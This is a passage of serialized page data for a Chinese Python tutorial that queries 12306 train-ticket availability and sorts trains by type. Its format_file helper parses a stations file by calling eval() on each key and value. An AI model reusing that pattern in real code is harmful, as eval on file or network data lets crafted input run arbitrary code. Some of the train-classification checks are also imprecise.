'Cookie':'_uab_collina=175394...'}\n",{"type":18,"tag":96,"props":64100,"children":64101},{},[64102],{"type":18,"tag":34,"props":64103,"children":64104},{},[64105,64107,64110,64112,64118],{"type":24,"value":64106},"说明：由于返回的加密信息很杂乱，所以需要创建“data = ",{"type":18,"tag":297,"props":64108,"children":64109},{},[],{"type":24,"value":64111},"”列表（list）来保存后期整理好的车次信息，然后需要将车次分类（例如，高铁、动车等），最后创建",{"type":18,"tag":74,"props":64113,"children":64115},{"className":64114},[],[64116],{"type":24,"value":64117},"type_data = []",{"type":24,"value":64119},"列表（list）来保存分类后的车次信息。",{"type":18,"tag":34,"props":64121,"children":64122},{},[64123,64125,64131,64133,64139,64140,64146,64148,64154,64156,64162,64164,64169],{"type":24,"value":64124},"3）创建",{"type":18,"tag":74,"props":64126,"children":64128},{"className":64127},[],[64129],{"type":24,"value":64130},"query()",{"type":24,"value":64132},"方法，在调用该方法时需要三个参数，分别为",{"type":18,"tag":74,"props":64134,"children":64136},{"className":64135},[],[64137],{"type":24,"value":64138},"出发日期",{"type":24,"value":1942},{"type":18,"tag":74,"props":64141,"children":64143},{"className":64142},[],[64144],{"type":24,"value":64145},"出发地",{"type":24,"value":64147},"以及",{"type":18,"tag":74,"props":64149,"children":64151},{"className":64150},[],[64152],{"type":24,"value":64153},"目的地",{"type":24,"value":64155},"；然后创建查询请求的完整地址，并通过",{"type":18,"tag":74,"props":64157,"children":64159},{"className":64158},[],[64160],{"type":24,"value":64161},"format()",{"type":24,"value":64163},"方法格式化地址；再将返回的",{"type":18,"tag":74,"props":64165,"children":64167},{"className":64166},[],[64168],{"type":24,"value":9261},{"type":24,"value":64170},"数据转换为字典类型；最后通过字典类型键值的方法取出对应的数据并进行整理与分类。代码如下：",{"type":18,"tag":287,"props":64172,"children":64174},{"className":28710,"code":64173,"language":28712,"meta":8,"style":8},"def query(date,from_station, to_station):  \n    data.clear()                               # 清空数据  \n    type_data.clear()                          # 清空车次分类保存的数据  \n    # 查询请求地址  \n    url =   'https:\u002F\u002Fkyfw.12306.cn\u002Fotn\u002FleftTicket\u002FqueryU?leftTicketDTO.train_date={}&leftTicketDTO.from_station={}&leftTicketDTO.to_station={}&purpose_codes=ADULT'.format(date, stat_change(from_station), stat_change(to_station))  \n    # 发送查询请求  \n    response = requests.get(url,headers=headers)  \n    # 将json数据转换为字典类型，通过键值对取数据  \n    result = response.json()  \n    result = result['data']['result']  \n  \n    # 判断车站文件是否存在  \n    if get_stations.isStations():  \n        with open('stations.text','r',encoding='UTF-8') as f:  \n            stations = f.read()  \n        stations = format_file(stations)        # 读取所有车站并转换为dic类型  \n  \n    if  len(result) != 0:                       # 判断返回数据是否为空  \n        for i in result:  \n            # 分割数据并添加到列表中  \n            tmp_list = i.split('|')  \n            global lis_info  \n            t_list = [i for i in tmp_list]  \n            lis_info.append(t_list)  \n            # 因为查询结果中出发站和到达站为站名的缩写字母，所以需要在车站库中找到对应的车站名称  \n            # 根据英文缩写的索引值查找对应的中文名  \n            from_station = list(stations.keys())[list(stations.values()).index(tmp_list[6])]  \n            to_station = list(stations.keys())[list(stations.values()).index(tmp_list[7])]  \n            # 创建座位数组，由于返回的座位数据中含有空既“”，所以将空改成--这样好识别  \n            \"\"\"seat -> 车次 出发站 到达站 出发时间 到达时间 历时 商务\u002F特等座 优选一等座 一等座 二等座  高级软卧 一等卧 二等卧 软座 硬座 无座\"\"\"  \n            seat = [tmp_list[3], from_station, to_station, tmp_list[8], tmp_list[9], tmp_list[10],  \n                    tmp_list[32], tmp_list[20], tmp_list[31], tmp_list[30], tmp_list[21], tmp_list[23],  \n                    tmp_list[28], tmp_list[24], tmp_list[29],  tmp_list[26]]  \n            newSeat = []  \n            # 循环将座位信息中的空既\"\"，改成--这样好识别  \n            for s in seat:  \n                if  s == \"\":  \n                    s = \"{}\".format(\"--\")  \n                else:  \n                    s = \"{}\".format(s)  \n                newSeat.append(s) # 保存新的座位信息  \n            data.append(newSeat)  \n    return  data #  返回整理好的车次信息\n",[64175],{"type":18,"tag":74,"props":64176,"children":64177},{"__ignoreMap":8},[64178,64186,64194,64202,64210,64218,64226,64234,64242,64250,64258,64265,64273,64281,64289,64297,64305,64312,64320,64328,64336,64344,64352,64360,64368,64376,64384,64392,64400,64408,64416,64424,64432,64440,64448,64456,64464,64472,64480,64488,64496,64504,64512],{"type":18,"tag":297,"props":64179,"children":64180},{"class":299,"line":300},[64181],{"type":18,"tag":297,"props":64182,"children":64183},{},[64184],{"type":24,"value":64185},"def query(date,from_station, to_station):  \n",{"type":18,"tag":297,"props":64187,"children":64188},{"class":299,"line":657},[64189],{"type":18,"tag":297,"props":64190,"children":64191},{},[64192],{"type":24,"value":64193},"    data.clear()                               # 清空数据  \n",{"type":18,"tag":297,"props":64195,"children":64196},{"class":299,"line":662},[64197],{"type":18,"tag":297,"props":64198,"children":64199},{},[64200],{"type":24,"value":64201},"    type_data.clear()                          # 清空车次分类保存的数据  \n",{"type":18,"tag":297,"props":64203,"children":64204},{"class":299,"line":799},[64205],{"type":18,"tag":297,"props":64206,"children":64207},{},[64208],{"type":24,"value":64209},"    # 查询请求地址  \n",{"type":18,"tag":297,"props":64211,"children":64212},{"class":299,"line":808},[64213],{"type":18,"tag":297,"props":64214,"children":64215},{},[64216],{"type":24,"value":64217},"    url =   'https:\u002F\u002Fkyfw.12306.cn\u002Fotn\u002FleftTicket\u002FqueryU?leftTicketDTO.train_date={}&leftTicketDTO.from_station={}&leftTicketDTO.to_station={}&purpose_codes=ADULT'.format(date, stat_change(from_station), stat_change(to_station))  \n",{"type":18,"tag":297,"props":64219,"children":64220},{"class":299,"line":817},[64221],{"type":18,"tag":297,"props":64222,"children":64223},{},[64224],{"type":24,"value":64225},"    # 发送查询请求  \n",{"type":18,"tag":297,"props":64227,"children":64228},{"class":299,"line":826},[64229],{"type":18,"tag":297,"props":64230,"children":64231},{},[64232],{"type":24,"value":64233},"    response = requests.get(url,headers=headers)  \n",{"type":18,"tag":297,"props":64235,"children":64236},{"class":299,"line":4524},[64237],{"type":18,"tag":297,"props":64238,"children":64239},{},[64240],{"type":24,"value":64241},"    # 将json数据转换为字典类型，通过键值对取数据  \n",{"type":18,"tag":297,"props":64243,"children":64244},{"class":299,"line":4533},[64245],{"type":18,"tag":297,"props":64246,"children":64247},{},[64248],{"type":24,"value":64249},"    result = response.json()  \n",{"type":18,"tag":297,"props":64251,"children":64252},{"class":299,"line":4546},[64253],{"type":18,"tag":297,"props":64254,"children":64255},{},[64256],{"type":24,"value":64257},"    result = result['data']['result']  \n",{"type":18,"tag":297,"props":64259,"children":64260},{"class":299,"line":4555},[64261],{"type":18,"tag":297,"props":64262,"children":64263},{},[64264],{"type":24,"value":36783},{"type":18,"tag":297,"props":64266,"children":64267},{"class":299,"line":4568},[64268],{"type":18,"tag":297,"props":64269,"children":64270},{},[64271],{"type":24,"value":64272},"    # 判断车站文件是否存在  \n",{"type":18,"tag":297,"props":64274,"children":64275},{"class":299,"line":4577},[64276],{"type":18,"tag":297,"props":64277,"children":64278},{},[64279],{"type":24,"value":64280},"    if get_stations.isStations():  \n",{"type":18,"tag":297,"props":64282,"children":64283},{"class":299,"line":4590},[64284],{"type":18,"tag":297,"props":64285,"children":64286},{},[64287],{"type":24,"value":64288},"        with open('stations.text','r',encoding='UTF-8') as f:  \n",{"type":18,"tag":297,"props":64290,"children":64291},{"class":299,"line":4599},[64292],{"type":18,"tag":297,"props":64293,"children":64294},{},[64295],{"type":24,"value":64296},"            stations = f.read()  \n",{"type":18,"tag":297,"props":64298,"children":64299},{"class":299,"line":4607},[64300],{"type":18,"tag":297,"props":64301,"children":64302},{},[64303],{"type":24,"value":64304},"        stations = format_file(stations)        # 读取所有车站并转换为dic类型  \n",{"type":18,"tag":297,"props":64306,"children":64307},{"class":299,"line":4616},[64308],{"type":18,"tag":297,"props":64309,"children":64310},{},[64311],{"type":24,"value":36783},{"type":18,"tag":297,"props":64313,"children":64314},{"class":299,"line":4624},[64315],{"type":18,"tag":297,"props":64316,"children":64317},{},[64318],{"type":24,"value":64319},"    if  len(result) != 0:                       # 判断返回数据是否为空  \n",{"type":18,"tag":297,"props":64321,"children":64322},{"class":299,"line":4633},[64323],{"type":18,"tag":297,"props":64324,"children":64325},{},[64326],{"type":24,"value":64327},"        for i in result:  \n",{"type":18,"tag":297,"props":64329,"children":64330},{"class":299,"line":4641},[64331],{"type":18,"tag":297,"props":64332,"children":64333},{},[64334],{"type":24,"value":64335},"            # 分割数据并添加到列表中  \n",{"type":18,"tag":297,"props":64337,"children":64338},{"class":299,"line":4650},[64339],{"type":18,"tag":297,"props":64340,"children":64341},{},[64342],{"type":24,"value":64343},"            tmp_list = i.split('|')  \n",{"type":18,"tag":297,"props":64345,"children":64346},{"class":299,"line":4658},[64347],{"type":18,"tag":297,"props":64348,"children":64349},{},[64350],{"type":24,"value":64351},"            global lis_info  \n",{"type":18,"tag":297,"props":64353,"children":64354},{"class":299,"line":4681},[64355],{"type":18,"tag":297,"props":64356,"children":64357},{},[64358],{"type":24,"value":64359},"            t_list = [i for i in tmp_list]  \n",{"type":18,"tag":297,"props":64361,"children":64362},{"class":299,"line":4703},[64363],{"type":18,"tag":297,"props":64364,"children":64365},{},[64366],{"type":24,"value":64367},"            lis_info.append(t_list)  \n",{"type":18,"tag":297,"props":64369,"children":64370},{"class":299,"line":4711},[64371],{"type":18,"tag":297,"props":64372,"children":64373},{},[64374],{"type":24,"value":64375},"            # 因为查询结果中出发站和到达站为站名的缩写字母，所以需要在车站库中找到对应的车站名称  \n",{"type":18,"tag":297,"props":64377,"children":64378},{"class":299,"line":4720},[64379],{"type":18,"tag":297,"props":64380,"children":64381},{},[64382],{"type":24,"value":64383},"            # 根据英文缩写的索引值查找对应的中文名  \n",{"type":18,"tag":297,"props":64385,"children":64386},{"class":299,"line":4728},[64387],{"type":18,"tag":297,"props":64388,"children":64389},{},[64390],{"type":24,"value":64391},"            from_station = list(stations.keys())[list(stations.values()).index(tmp_list[6])]  \n",{"type":18,"tag":297,"props":64393,"children":64394},{"class":299,"line":13515},[64395],{"type":18,"tag":297,"props":64396,"children":64397},{},[64398],{"type":24,"value":64399},"            to_station = list(stations.keys())[list(stations.values()).index(tmp_list[7])]  \n",{"type":18,"tag":297,"props":64401,"children":64402},{"class":299,"line":13553},[64403],{"type":18,"tag":297,"props":64404,"children":64405},{},[64406],{"type":24,"value":64407},"            # 创建座位数组，由于返回的座位数据中含有空既“”，所以将空改成--这样好识别  \n",{"type":18,"tag":297,"props":64409,"children":64410},{"class":299,"line":13591},[64411],{"type":18,"tag":297,"props":64412,"children":64413},{},[64414],{"type":24,"value":64415},"            \"\"\"seat -> 车次 出发站 到达站 出发时间 到达时间 历时 商务\u002F特等座 优选一等座 一等座 二等座  高级软卧 一等卧 二等卧 软座 硬座 无座\"\"\"  \n",{"type":18,"tag":297,"props":64417,"children":64418},{"class":299,"line":13624},[64419],{"type":18,"tag":297,"props":64420,"children":64421},{},[64422],{"type":24,"value":64423},"            seat = [tmp_list[3], from_station, to_station, tmp_list[8], tmp_list[9], tmp_list[10],  \n",{"type":18,"tag":297,"props":64425,"children":64426},{"class":299,"line":13632},[64427],{"type":18,"tag":297,"props":64428,"children":64429},{},[64430],{"type":24,"value":64431},"                    tmp_list[32], tmp_list[20], tmp_list[31], tmp_list[30], tmp_list[21], tmp_list[23],  \n",{"type":18,"tag":297,"props":64433,"children":64434},{"class":299,"line":13641},[64435],{"type":18,"tag":297,"props":64436,"children":64437},{},[64438],{"type":24,"value":64439},"                    tmp_list[28], tmp_list[24], tmp_list[29],  tmp_list[26]]  \n",{"type":18,"tag":297,"props":64441,"children":64442},{"class":299,"line":13724},[64443],{"type":18,"tag":297,"props":64444,"children":64445},{},[64446],{"type":24,"value":64447},"            newSeat = []  \n",{"type":18,"tag":297,"props":64449,"children":64450},{"class":299,"line":13732},[64451],{"type":18,"tag":297,"props":64452,"children":64453},{},[64454],{"type":24,"value":64455},"            # 循环将座位信息中的空既\"\"，改成--这样好识别  \n",{"type":18,"tag":297,"props":64457,"children":64458},{"class":299,"line":13786},[64459],{"type":18,"tag":297,"props":64460,"children":64461},{},[64462],{"type":24,"value":64463},"            for s in seat:  \n",{"type":18,"tag":297,"props":64465,"children":64466},{"class":299,"line":13794},[64467],{"type":18,"tag":297,"props":64468,"children":64469},{},[64470],{"type":24,"value":64471},"                if  s == \"\":  \n",{"type":18,"tag":297,"props":64473,"children":64474},{"class":299,"line":13803},[64475],{"type":18,"tag":297,"props":64476,"children":64477},{},[64478],{"type":24,"value":64479},"                    s = \"{}\".format(\"--\")  \n",{"type":18,"tag":297,"props":64481,"children":64482},{"class":299,"line":13845},[64483],{"type":18,"tag":297,"props":64484,"children":64485},{},[64486],{"type":24,"value":64487},"                else:  \n",{"type":18,"tag":297,"props":64489,"children":64490},{"class":299,"line":13887},[64491],{"type":18,"tag":297,"props":64492,"children":64493},{},[64494],{"type":24,"value":64495},"                    s = \"{}\".format(s)  \n",{"type":18,"tag":297,"props":64497,"children":64498},{"class":299,"line":13927},[64499],{"type":18,"tag":297,"props":64500,"children":64501},{},[64502],{"type":24,"value":64503},"                newSeat.append(s) # 保存新的座位信息  \n",{"type":18,"tag":297,"props":64505,"children":64506},{"class":299,"line":13943},[64507],{"type":18,"tag":297,"props":64508,"children":64509},{},[64510],{"type":24,"value":64511},"            data.append(newSeat)  \n",{"type":18,"tag":297,"props":64513,"children":64514},{"class":299,"line":15315},[64515],{"type":18,"tag":297,"props":64516,"children":64517},{},[64518],{"type":24,"value":64519},"    return  data #  返回整理好的车次信息\n",{"type":18,"tag":34,"props":64521,"children":64522},{},[64523],{"type":24,"value":64524},"以下是该函数所调用的其他两个函数体，如下：",{"type":18,"tag":287,"props":64526,"children":64528},{"className":28710,"code":64527,"language":28712,"meta":8,"style":8},"def stat_change(address):                         # 用来转换请求url中的地址名，将其转换为英文缩写  \n    get_stations.getStation()  \n    address = get_stations.stat.get(address)  \n    return address  \n  \ndef format_file(s : str) -> dict:  \n    dic = {}  \n    lis = s.strip('{').strip('}').split(',')  \n    for i in lis:  \n        i = i.split(':')  \n        dic[eval(i[0])]=eval(i[1])  \n    return dic\n",[64529],{"type":18,"tag":74,"props":64530,"children":64531},{"__ignoreMap":8},[64532,64540,64548,64556,64564,64571,64579,64587,64595,64603,64611,64619],{"type":18,"tag":297,"props":64533,"children":64534},{"class":299,"line":300},[64535],{"type":18,"tag":297,"props":64536,"children":64537},{},[64538],{"type":24,"value":64539},"def stat_change(address):                         # 用来转换请求url中的地址名，将其转换为英文缩写  \n",{"type":18,"tag":297,"props":64541,"children":64542},{"class":299,"line":657},[64543],{"type":18,"tag":297,"props":64544,"children":64545},{},[64546],{"type":24,"value":64547},"    get_stations.getStation()  \n",{"type":18,"tag":297,"props":64549,"children":64550},{"class":299,"line":662},[64551],{"type":18,"tag":297,"props":64552,"children":64553},{},[64554],{"type":24,"value":64555},"    address = get_stations.stat.get(address)  \n",{"type":18,"tag":297,"props":64557,"children":64558},{"class":299,"line":799},[64559],{"type":18,"tag":297,"props":64560,"children":64561},{},[64562],{"type":24,"value":64563},"    return address  \n",{"type":18,"tag":297,"props":64565,"children":64566},{"class":299,"line":808},[64567],{"type":18,"tag":297,"props":64568,"children":64569},{},[64570],{"type":24,"value":36783},{"type":18,"tag":297,"props":64572,"children":64573},{"class":299,"line":817},[64574],{"type":18,"tag":297,"props":64575,"children":64576},{},[64577],{"type":24,"value":64578},"def format_file(s : str) -> dict:  \n",{"type":18,"tag":297,"props":64580,"children":64581},{"class":299,"line":826},[64582],{"type":18,"tag":297,"props":64583,"children":64584},{},[64585],{"type":24,"value":64586},"    dic = {}  \n",{"type":18,"tag":297,"props":64588,"children":64589},{"class":299,"line":4524},[64590],{"type":18,"tag":297,"props":64591,"children":64592},{},[64593],{"type":24,"value":64594},"    lis = s.strip('{').strip('}').split(',')  \n",{"type":18,"tag":297,"props":64596,"children":64597},{"class":299,"line":4533},[64598],{"type":18,"tag":297,"props":64599,"children":64600},{},[64601],{"type":24,"value":64602},"    for i in lis:  \n",{"type":18,"tag":297,"props":64604,"children":64605},{"class":299,"line":4546},[64606],{"type":18,"tag":297,"props":64607,"children":64608},{},[64609],{"type":24,"value":64610},"        i = i.split(':')  \n",{"type":18,"tag":297,"props":64612,"children":64613},{"class":299,"line":4555},[64614],{"type":18,"tag":297,"props":64615,"children":64616},{},[64617],{"type":24,"value":64618},"        dic[eval(i[0])]=eval(i[1])  \n",{"type":18,"tag":297,"props":64620,"children":64621},{"class":299,"line":4568},[64622],{"type":18,"tag":297,"props":64623,"children":64624},{},[64625],{"type":24,"value":64626},"    return dic\n",{"type":18,"tag":96,"props":64628,"children":64629},{},[64630],{"type":18,"tag":34,"props":64631,"children":64632},{},[64633,64635,64641,64643,64649,64651,64656],{"type":24,"value":64634},"说明：因为返回的",{"type":18,"tag":74,"props":64636,"children":64638},{"className":64637},[],[64639],{"type":24,"value":64640},"Json",{"type":24,"value":64642},"信息顺序比较零乱，所以在获取指定的数据时通过",{"type":18,"tag":74,"props":64644,"children":64646},{"className":64645},[],[64647],{"type":24,"value":64648},"tmp_list",{"type":24,"value":64650},"分割后的列表将数据与浏览器余票查询页面中的数据逐个对比后，才能找出数据所对应的位置。数字为数据分割后",{"type":18,"tag":74,"props":64652,"children":64654},{"className":64653},[],[64655],{"type":24,"value":64648},{"type":24,"value":64657},"的索引值。通过对比后找到的数据位置如下：",{"type":18,"tag":287,"props":64659,"children":64661},{"className":28710,"code":64660,"language":28712,"meta":8,"style":8},"\"\"\"  \n3 车次 6 出发站 7 到达站 8 出发时间 9 到达时间 10 历时 32 商务\u002F特等座 20 优选一等座 31 一等座 30 二等座  21 高级软卧 23 一等卧 28 二等卧 24 软座 29 硬座 26 无座  \n\"\"\"\n",[64662],{"type":18,"tag":74,"props":64663,"children":64664},{"__ignoreMap":8},[64665,64672,64680],{"type":18,"tag":297,"props":64666,"children":64667},{"class":299,"line":300},[64668],{"type":18,"tag":297,"props":64669,"children":64670},{},[64671],{"type":24,"value":64037},{"type":18,"tag":297,"props":64673,"children":64674},{"class":299,"line":657},[64675],{"type":18,"tag":297,"props":64676,"children":64677},{},[64678],{"type":24,"value":64679},"3 车次 6 出发站 7 到达站 8 出发时间 9 到达时间 10 历时 32 商务\u002F特等座 20 优选一等座 31 一等座 30 二等座  21 高级软卧 23 一等卧 28 二等卧 24 软座 29 硬座 26 无座  \n",{"type":18,"tag":297,"props":64681,"children":64682},{"class":299,"line":662},[64683],{"type":18,"tag":297,"props":64684,"children":64685},{},[64686],{"type":24,"value":64687},"\"\"\"\n",{"type":18,"tag":34,"props":64689,"children":64690},{},[64691],{"type":24,"value":64692},"4）依次创建获取高铁信息、移除高铁信息、获取动车信息、移除动车信息、获取直达信息、移除直达信息、获取特快信息、移除特快信息、获取快速信息及移除快速信息...的方法。这些方法用于车次分类数据的处理，代码如下：",{"type":18,"tag":287,"props":64694,"children":64696},{"className":28710,"code":64695,"language":28712,"meta":8,"style":8},"# 获取高铁信息的方法  \ndef gc_vehicle():  \n    if len(data) != 0:  \n        for g in data:                   # 循环所有列车数据  \n            if g[0].startswith(\"G\") or g[0].startswith(\"C\"):  # 判断车次首字母是否为高铁  \n                type_data.append(g)  \n# 移除高铁信息的方法  \ndef r_gc_vehicle():  \n    if len(data) != 0 and len(type_data) != 0:  \n        for g in data:  \n            if g[0].startswith(\"G\") or g[0].startswith(\"C\"):  \n                type_data.remove(g)  \n  \n# 获取动车信息的方法  \ndef d_vehicle():  \n    if len(data) != 0:  \n        for d in data:                   # 循环所有列车数据  \n            i = d[0].startswith(\"D\")     # 判断车次首字母是否为动车  \n            if i:                        # 如果是，将该条数据添加到列车数据中  \n                type_data.append(d)  \n# 移除动车信息的方法  \ndef r_d_vehicle():  \n    if len(data) != 0 and len(type_data) != 0:  \n        for d in data:  \n            i = d[0].startswith(\"D\")  \n            if i: type_data.remove(d)  \n  \n# 获取直达信息的方法  \ndef z_vehicle():  \n    if len(data) != 0:  \n        for z in data:                   # 循环所有列车数据  \n            i = z[0].startswith(\"Z\")     # 判断车次首字母是否为直达  \n            if i:                        # 如果是，将该条数据添加到列车数据中  \n                type_data.append(z)  \n# 移除直达信息的方法  \ndef r_z_vehicle():  \n    if len(data) != 0 and len(type_data) != 0:  \n        for z in data:  \n            i = z[0].startswith(\"Z\")  \n            if i: type_data.remove(z)  \n  \n# 获取特快信息的方法  \ndef t_vehicle():  \n    if len(data) != 0:  \n        for t in data:                   # 循环所有列车数据  \n            i = t[0].startswith(\"T\")     # 判断车次首字母是否为特快  \n            if i:                        # 如果是，将该条数据添加到列车数据中  \n                type_data.append(t)  \n# 移除特快信息的方法  \ndef r_t_vehicle():  \n    if len(data) != 0 and len(type_data) != 0:  \n        for t in data:  \n            i = t[0].startswith(\"T\")  \n            if i: type_data.remove(t)  \n  \n# 获取快速列车信息的方法  \ndef k_vehicle():  \n    if len(data) != 0:  \n        for k in data:                   # 循环所有列车数据  \n            i = k[0].startswith(\"K\")     # 判断车次首字母是否为快速列车  \n            if i:                        # 如果是，将该条数据添加到列车数据中  \n                type_data.append(k)  \n# 移除快速列车信息的方法  \ndef r_k_vehicle():  \n    if len(data) != 0 and len(type_data) != 0:  \n        for k in data:  \n            i = k[0].startswith(\"K\")  \n            if i: type_data.remove(k)  \n  \n# 获取复兴号信息的方法  \ndef cr_vehicle():  \n    if len(data) != 0:  \n        for r in data:                   # 循环所有列车数据  \n            i = r[0].startswith(\"CR\")     # 判断车次首字母是否为复兴号  \n            if i:                        # 如果是，将该条数据添加到列车数据中  \n                type_data.append(r)  \n# 移除复兴号信息的方法  \ndef r_cr_vehicle():  \n    if len(data) != 0 and len(type_data) != 0:  \n        for r in data:  \n            i = r[0].startswith(\"CR\")  \n            if i: type_data.remove(r)  \n  \n# 获取智能动车组信息的方法  \ndef crz_vehicle():  \n    if len(data) != 0:  \n        for z in data:                   # 循环所有列车数据  \n            if z[0].startswith(\"CR\") and z[0].endswith(\"Z\"):    # 判断车次首字母是否为智能动车组  \n                type_data.append(z)  \n# 移除智能动车组信息的方法  \ndef r_crz_vehicle():  \n    if len(data) != 0 and len(type_data) != 0:  \n        for z in data:  \n            if z[0].startswith(\"CR\") and z[0].endswith(\"Z\"):  \n                type_data.remove(z)  \n  \n# 获取其他类型信息的方法  \ndef other_vehicle():  \n    if len(data) != 0:  \n        l = ['G','C','T','K','Z','D','CR']  \n        for o in data:  \n            if o[0][0] not in l:              # 判断车次是否为其他类型  \n                type_data.append(o)  \n# 移除其他类型信息的方法  \ndef r_other_vehicle():  \n    if len(data) != 0 and len(type_data) != 0:  \n        l = ['G','C','T','K','Z','D','CR']  \n        for o in data:  \n            if o[0][0] not in l: type_data.remove(o)\n",[64697],{"type":18,"tag":74,"props":64698,"children":64699},{"__ignoreMap":8},[64700,64708,64716,64724,64732,64740,64748,64756,64764,64772,64780,64788,64796,64803,64811,64819,64826,64834,64842,64850,64858,64866,64874,64881,64889,64897,64905,64912,64920,64928,64935,64943,64951,64958,64966,64974,64982,64989,64997,65005,65013,65020,65028,65036,65043,65051,65059,65066,65074,65082,65090,65097,65105,65113,65121,65128,65136,65144,65151,65159,65167,65174,65182,65190,65198,65205,65213,65221,65229,65236,65244,65252,65259,65267,65275,65282,65290,65298,65306,65313,65321,65329,65337,65344,65352,65360,65367,65374,65382,65389,65397,65405,65412,65419,65427,65435,65442,65450,65458,65465,65473,65481,65489,65497,65505,65513,65520,65527,65534],{"type":18,"tag":297,"props":64701,"children":64702},{"class":299,"line":300},[64703],{"type":18,"tag":297,"props":64704,"children":64705},{},[64706],{"type":24,"value":64707},"# 获取高铁信息的方法  \n",{"type":18,"tag":297,"props":64709,"children":64710},{"class":299,"line":657},[64711],{"type":18,"tag":297,"props":64712,"children":64713},{},[64714],{"type":24,"value":64715},"def gc_vehicle():  \n",{"type":18,"tag":297,"props":64717,"children":64718},{"class":299,"line":662},[64719],{"type":18,"tag":297,"props":64720,"children":64721},{},[64722],{"type":24,"value":64723},"    if len(data) != 0:  \n",{"type":18,"tag":297,"props":64725,"children":64726},{"class":299,"line":799},[64727],{"type":18,"tag":297,"props":64728,"children":64729},{},[64730],{"type":24,"value":64731},"        for g in data:                   # 循环所有列车数据  \n",{"type":18,"tag":297,"props":64733,"children":64734},{"class":299,"line":808},[64735],{"type":18,"tag":297,"props":64736,"children":64737},{},[64738],{"type":24,"value":64739},"            if g[0].startswith(\"G\") or g[0].startswith(\"C\"):  # 判断车次首字母是否为高铁  \n",{"type":18,"tag":297,"props":64741,"children":64742},{"class":299,"line":817},[64743],{"type":18,"tag":297,"props":64744,"children":64745},{},[64746],{"type":24,"value":64747},"                type_data.append(g)  \n",{"type":18,"tag":297,"props":64749,"children":64750},{"class":299,"line":826},[64751],{"type":18,"tag":297,"props":64752,"children":64753},{},[64754],{"type":24,"value":64755},"# 移除高铁信息的方法  \n",{"type":18,"tag":297,"props":64757,"children":64758},{"class":299,"line":4524},[64759],{"type":18,"tag":297,"props":64760,"children":64761},{},[64762],{"type":24,"value":64763},"def r_gc_vehicle():  \n",{"type":18,"tag":297,"props":64765,"children":64766},{"class":299,"line":4533},[64767],{"type":18,"tag":297,"props":64768,"children":64769},{},[64770],{"type":24,"value":64771},"    if len(data) != 0 and len(type_data) != 0:  \n",{"type":18,"tag":297,"props":64773,"children":64774},{"class":299,"line":4546},[64775],{"type":18,"tag":297,"props":64776,"children":64777},{},[64778],{"type":24,"value":64779},"        for g in data:  \n",{"type":18,"tag":297,"props":64781,"children":64782},{"class":299,"line":4555},[64783],{"type":18,"tag":297,"props":64784,"children":64785},{},[64786],{"type":24,"value":64787},"            if g[0].startswith(\"G\") or g[0].startswith(\"C\"):  \n",{"type":18,"tag":297,"props":64789,"children":64790},{"class":299,"line":4568},[64791],{"type":18,"tag":297,"props":64792,"children":64793},{},[64794],{"type":24,"value":64795},"                type_data.remove(g)  \n",{"type":18,"tag":297,"props":64797,"children":64798},{"class":299,"line":4577},[64799],{"type":18,"tag":297,"props":64800,"children":64801},{},[64802],{"type":24,"value":36783},{"type":18,"tag":297,"props":64804,"children":64805},{"class":299,"line":4590},[64806],{"type":18,"tag":297,"props":64807,"children":64808},{},[64809],{"type":24,"value":64810},"# 获取动车信息的方法  \n",{"type":18,"tag":297,"props":64812,"children":64813},{"class":299,"line":4599},[64814],{"type":18,"tag":297,"props":64815,"children":64816},{},[64817],{"type":24,"value":64818},"def d_vehicle():  \n",{"type":18,"tag":297,"props":64820,"children":64821},{"class":299,"line":4607},[64822],{"type":18,"tag":297,"props":64823,"children":64824},{},[64825],{"type":24,"value":64723},{"type":18,"tag":297,"props":64827,"children":64828},{"class":299,"line":4616},[64829],{"type":18,"tag":297,"props":64830,"children":64831},{},[64832],{"type":24,"value":64833},"        for d in data:                   # 循环所有列车数据  \n",{"type":18,"tag":297,"props":64835,"children":64836},{"class":299,"line":4624},[64837],{"type":18,"tag":297,"props":64838,"children":64839},{},[64840],{"type":24,"value":64841},"            i = d[0].startswith(\"D\")     # 判断车次首字母是否为动车  \n",{"type":18,"tag":297,"props":64843,"children":64844},{"class":299,"line":4633},[64845],{"type":18,"tag":297,"props":64846,"children":64847},{},[64848],{"type":24,"value":64849},"            if i:                        # 如果是，将该条数据添加到列车数据中  \n",{"type":18,"tag":297,"props":64851,"children":64852},{"class":299,"line":4641},[64853],{"type":18,"tag":297,"props":64854,"children":64855},{},[64856],{"type":24,"value":64857},"                type_data.append(d)  \n",{"type":18,"tag":297,"props":64859,"children":64860},{"class":299,"line":4650},[64861],{"type":18,"tag":297,"props":64862,"children":64863},{},[64864],{"type":24,"value":64865},"# 移除动车信息的方法  \n",{"type":18,"tag":297,"props":64867,"children":64868},{"class":299,"line":4658},[64869],{"type":18,"tag":297,"props":64870,"children":64871},{},[64872],{"type":24,"value":64873},"def r_d_vehicle():  \n",{"type":18,"tag":297,"props":64875,"children":64876},{"class":299,"line":4681},[64877],{"type":18,"tag":297,"props":64878,"children":64879},{},[64880],{"type":24,"value":64771},{"type":18,"tag":297,"props":64882,"children":64883},{"class":299,"line":4703},[64884],{"type":18,"tag":297,"props":64885,"children":64886},{},[64887],{"type":24,"value":64888},"        for d in data:  \n",{"type":18,"tag":297,"props":64890,"children":64891},{"class":299,"line":4711},[64892],{"type":18,"tag":297,"props":64893,"children":64894},{},[64895],{"type":24,"value":64896},"            i = d[0].startswith(\"D\")  \n",{"type":18,"tag":297,"props":64898,"children":64899},{"class":299,"line":4720},[64900],{"type":18,"tag":297,"props":64901,"children":64902},{},[64903],{"type":24,"value":64904},"            if i: type_data.remove(d)  \n",{"type":18,"tag":297,"props":64906,"children":64907},{"class":299,"line":4728},[64908],{"type":18,"tag":297,"props":64909,"children":64910},{},[64911],{"type":24,"value":36783},{"type":18,"tag":297,"props":64913,"children":64914},{"class":299,"line":13515},[64915],{"type":18,"tag":297,"props":64916,"children":64917},{},[64918],{"type":24,"value":64919},"# 获取直达信息的方法  \n",{"type":18,"tag":297,"props":64921,"children":64922},{"class":299,"line":13553},[64923],{"type":18,"tag":297,"props":64924,"children":64925},{},[64926],{"type":24,"value":64927},"def z_vehicle():  \n",{"type":18,"tag":297,"props":64929,"children":64930},{"class":299,"line":13591},[64931],{"type":18,"tag":297,"props":64932,"children":64933},{},[64934],{"type":24,"value":64723},{"type":18,"tag":297,"props":64936,"children":64937},{"class":299,"line":13624},[64938],{"type":18,"tag":297,"props":64939,"children":64940},{},[64941],{"type":24,"value":64942},"        for z in data:                   # 循环所有列车数据  